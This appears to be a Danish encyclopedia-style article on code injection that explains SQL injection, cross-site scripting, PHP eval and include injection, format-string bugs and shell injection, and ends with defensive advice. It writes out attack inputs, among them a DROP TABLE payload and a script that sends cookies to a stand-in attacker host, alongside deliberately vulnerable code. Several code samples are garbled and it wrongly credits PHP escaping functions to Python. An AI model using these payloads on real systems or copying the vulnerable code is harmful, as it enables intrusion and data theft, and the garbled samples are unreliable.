SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'

SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'

SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '

SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');

<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');

Formatstrengfejl opstår oftest, når en programmør ønsker at udskrive en streng, der indeholder data leveret af brugeren. Programmøren kan ved en fejl skrive printf(buffer) i stedet for printf("%s", buffer). Den første version fortolker buffer som en formatstreng og analyserer eventuelle formateringsinstruktioner, som den måtte indeholde. Den anden version udskriver blot en streng til skærmen, som programmøren havde tænkt sig. Overvej følgende korte C-program, der har en lokal variabel char array password, som indeholder en adgangskode; programmet spørger brugeren om et heltal og en streng og udsender derefter den af brugeren leverede streng som ekko.

 char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;

Hvis brugerinput er fyldt med en liste af formatspecifikatorer som %s%s%s%s%s%s%s%s , så vil printf() begynde at læse fra stakken. Til sidst vil en af %s-formatspecifikatorerne få adgang til adressen password , som befinder sig på stakken, og udskrive Password1 til skærmen.

Shell-injektionRediger

Shell-injektion (eller kommandoinjektion) er opkaldt efter Unix-shells, men gælder for de fleste systemer, der tillader software at udføre en kommandolinje programmatisk. Her er et eksempel på et sårbart tcsh-script:

#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches

Hvis ovenstående er gemt i den eksekverbare fil ./check, vil shell-kommandoen ./check " 1 ) evil" forsøge at udføre den injicerede shell-kommando evil i stedet for at sammenligne argumentet med det konstante. Her er den kode, der angribes, den kode, der forsøger at kontrollere parameteren, selve den kode, der måske havde forsøgt at validere parameteren for at forsvare sig mod et angreb.

Alle funktioner, der kan bruges til at sammensætte og køre en shell-kommando, er et potentielt middel til at iværksætte et shell-injektionsangreb. Blandt disse er system(), StartProcess() og System.Diagnostics.Process.Start().

Klient-server-systemer som f.eks. interaktion mellem webbrowser og webservere er potentielt sårbare over for shell-injektion. Overvej følgende korte PHP-program, der kan køre på en webserver for at køre et eksternt program kaldet funnytext for at erstatte et ord, som brugeren har sendt, med et andet ord.

<?phppassthru("/bin/funnytext " . $_GET);

Den passthru i ovenstående sammensætter en shell-kommando, som derefter udføres af webserveren. Da en del af kommandoen, som den sammensætter, er hentet fra den URL, som webbrowseren har angivet, kan URL’en således injicere skadelige shell-kommandoer. Man kan injicere kode i dette program på flere måder ved at udnytte syntaksen for forskellige shell-funktioner (denne liste er ikke udtømmende):

Nogle sprog tilbyder funktioner til korrekt escape eller citationstegn, der bruges til at konstruere shell-kommandoer:

• PHP: escapeshellarg() og escapeshellcmd()
• Python: escapeshellarg() og escapeshellcmd()
• Python: shlex.quote()

Dette lægger dog stadig byrden på programmørerne, som skal kende/lære om disse funktioner og huske at gøre brug af dem, hver gang de bruger shell-kommandoer. Ud over at bruge disse funktioner anbefales det også at validere eller rense brugerinput.

Et sikrere alternativ er at bruge API’er, der afvikler eksterne programmer direkte i stedet for gennem en shell, hvilket forhindrer muligheden for shell-injektion. Disse API’er har dog en tendens til ikke at understøtte forskellige bekvemmelighedsfunktioner i shells og/eller til at være mere besværlige/forvirrede i forhold til en kortfattet shell-syntaks.